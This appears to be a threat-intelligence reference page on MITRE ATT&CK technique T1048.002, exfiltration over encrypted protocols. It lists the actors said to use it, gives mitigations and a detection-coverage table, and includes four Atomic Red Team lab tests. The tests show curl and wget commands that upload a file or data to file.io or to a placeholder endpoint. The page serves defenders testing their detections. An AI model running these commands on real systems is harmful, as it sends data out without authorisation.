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ATT&CK Technique

Exfiltration Over Asymmetric Encrypted Non-C2 Protocol

T1048.002 · exfiltration

Adversaries may steal data by exfiltrating it over an asymmetrically encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server. Asymmetric encryption algorithms are those that use different keys on each end of the channel.

Also known as public-key cryptography, this requires pairs of cryptographic keys that can encrypt/decrypt data from the corresponding key. Each end of the communication channels requires a private key (only in the procession of that entity) and the public key of the other entity. The public keys of each entity are exchanged before encrypted communications begin.

Network protocols that use asymmetric encryption (such as HTTPS/TLS/SSL) often utilize symmetric encryption once keys are exchanged. Adversaries may opt to use these encrypted mechanisms that are baked into a protocol.

ESXiLinuxmacOSWindows

Actors Using This

9
russiaAPT28
russiaAPT29
russia_speaking_cybercrimeBianLian
russia_speaking_organized_cybercrimeDarkSide / BlackMatter
malaysia_origin_with_international_affiliatesDragonForce
russia_speaking_organized_cybercrimeFIN8
unknown_likely_russia_alignedFog Ransomware
north_koreaRuby Sleet
russia_speaking_organized_cybercrimeTA505

Likely Attack Path

Techniques the same actors pair with this one distinctively - those showing up among actors who use this technique noticeably more than across all actors (lift > 1.15), grouped by kill-chain phase. The × is that lift multiplier; the shared-actor count is in the tooltip. A near-universal technique pairs with everything at baseline, so its list is short by design.
persistence earlier

Atomic Tests

4
Executable Atomic Red Team test cases for exercising this technique in a lab. Copy a command, run it on the listed platform, confirm your detections fire.
command_promptwindowsExfiltrate data HTTPS using curl windows
Exfiltrate data HTTPS using curl to file share site file.io
#{curl_path} -k -F "file=@#{input_file}" https://file.io/
bashmacos, linuxExfiltrate data HTTPS using curl freebsd,linux or macos
Exfiltrate data HTTPS using curl to file share site file.io
curl -F 'file=@#{input_file}' -F 'maxDownloads=1' -F 'autoDelete=true' https://file.io/
shlinuxExfiltrate data in a file over HTTPS using wget
Exfiltrate data over HTTPS using wget --post-file method
wget --post-file="#{input_file}" --timeout=5 --no-check-certificate #{endpoint_domain} --delete-after
shlinuxExfiltrate data as text over HTTPS using wget
Exfiltrate data over HTTPS using wget --post-data method
wget --post-data="msg=AtomicTestT1048.002" --timeout=5 --no-check-certificate #{endpoint_domain} --delete-after

Mitigations

4
MITRE ATT&CK mitigations - vendor-agnostic guidance for reducing exposure to this technique.
M1030Network Segmentation

Network segmentation involves dividing a network into smaller, isolated segments to control and limit the flow of traffic between devices, systems, and applications. By segmenting networks, organizations can reduce the attack surface, restrict lateral movement by adversaries, and protect critical assets from compromise. Effective network segmentation leverages a combination of physical boundaries, logical separation through VLANs, and access control policies enforced by network appliances like firewalls, routers, and cloud-based configurations.

Segment Critical Systems
  • Identify and group systems based on their function, sensitivity, and risk. Examples include payment systems, HR databases, production systems, and internet-facing servers.
  • Use VLANs, firewalls, or routers to enforce logical separation.
Implement DMZ for Public-Facing Services
  • Host web servers, DNS servers, and email servers in a DMZ to limit their access to internal systems.
  • Apply strict firewall rules to filter traffic between the DMZ and internal networks.
Use Cloud-Based Segmentation
  • In cloud environments, use VPCs, subnets, and security groups to isolate applications and enforce traffic rules.
  • Apply AWS Transit Gateway or Azure VNet peering for controlled connectivity between cloud segments.
Apply Microsegmentation for Workloads
  • Use software-defined networking (SDN) tools to implement workload-level segmentation and prevent lateral movement.
Restrict Traffic with ACLs and Firewalls
  • Apply Access Control Lists (ACLs) to network devices to enforce "deny by default" policies.
  • Use firewalls to restrict both north-south (external-internal) and east-west (internal-internal) traffic.
Monitor and Audit Segmented Networks
  • Regularly review firewall rules, ACLs, and segmentation policies.
  • Monitor network flows for anomalies to ensure segmentation is effective.
Test Segmentation Effectiveness
  • Perform periodic penetration tests to verify that unauthorized access is blocked between network segments.
M1031Network Intrusion Prevention

Use intrusion detection signatures to block traffic at network boundaries.

M1037Filter Network Traffic

Employ network appliances and endpoint software to filter ingress, egress, and lateral network traffic. This includes protocol-based filtering, enforcing firewall rules, and blocking or restricting traffic based on predefined conditions to limit adversary movement and data exfiltration.

Ingress Traffic Filtering
  • Use Case: Configure network firewalls to allow traffic only from authorized IP addresses to public-facing servers.
  • Implementation: Limit SSH (port 22) and RDP (port 3389) traffic to specific IP ranges.
Egress Traffic Filtering
  • Use Case: Use firewalls or endpoint security software to block unauthorized outbound traffic to prevent data exfiltration and command-and-control (C2) communications.
  • Implementation: Block outbound traffic to known malicious IPs or regions where communication is unexpected.
Protocol-Based Filtering
  • Use Case: Restrict the use of specific protocols that are commonly abused by adversaries, such as SMB, RPC, or Telnet, based on business needs.
  • Implementation: Disable SMBv1 on endpoints to prevent exploits like EternalBlue.
Network Segmentation
  • Use Case: Create network segments for critical systems and restrict communication between segments unless explicitly authorized.
  • Implementation: Implement VLANs to isolate IoT devices or guest networks from core business systems.
Application Layer Filtering
  • Use Case: Use proxy servers or Web Application Firewalls (WAFs) to inspect and block malicious HTTP/S traffic.
  • Implementation: Configure a WAF to block SQL injection attempts or other web application exploitation techniques.
M1057Data Loss Prevention

Data Loss Prevention (DLP) involves implementing strategies and technologies to identify, categorize, monitor, and control the movement of sensitive data within an organization. This includes protecting data formats indicative of Personally Identifiable Information (PII), intellectual property, or financial data from unauthorized access, transmission, or exfiltration. DLP solutions integrate with network, endpoint, and cloud platforms to enforce security policies and prevent accidental or malicious data leaks.

Sensitive Data Categorization
  • Use Case: Identify and classify data based on sensitivity (e.g., PII, financial data, trade secrets).
  • Implementation: Use DLP solutions to scan and tag files containing sensitive information using predefined patterns, such as Social Security Numbers or credit card details.
Exfiltration Restrictions
  • Use Case: Prevent unauthorized transmission of sensitive data.
  • Implementation: Enforce policies to block unapproved email attachments, unauthorized USB usage, or unencrypted data uploads to cloud storage.
Data-in-Transit Monitoring
  • Use Case: Detect and prevent the transmission of sensitive data over unapproved channels.
  • Implementation: Deploy network-based DLP tools to inspect outbound traffic for sensitive content (e.g., financial records or PII) and block unapproved transmissions.
Endpoint Data Protection
  • Use Case: Monitor and control sensitive data usage on endpoints.
  • Implementation: Use endpoint-based DLP agents to block copy-paste actions of sensitive data and unauthorized printing or file sharing.
Cloud Data Security
  • Use Case: Protect data stored in cloud platforms.
  • Implementation: Integrate DLP with cloud storage platforms like Google Drive, OneDrive, or AWS to monitor and restrict sensitive data sharing or downloads.

Detection Coverage

0/6 layers
Coverage across standard detection surfaces. Rows marked none have no rule of that type mapped. Some are real blind spots worth closing; others are simply not applicable to this technique (e.g. YARA matches malware files, not network behaviour).
Behavioral / log (Sigma) none
Analytics (MITRE CAR) none
Runtime / container (Falco) none
File / malware (YARA) none
Network (Suricata/Snort) none
Vuln scan (Nuclei) none
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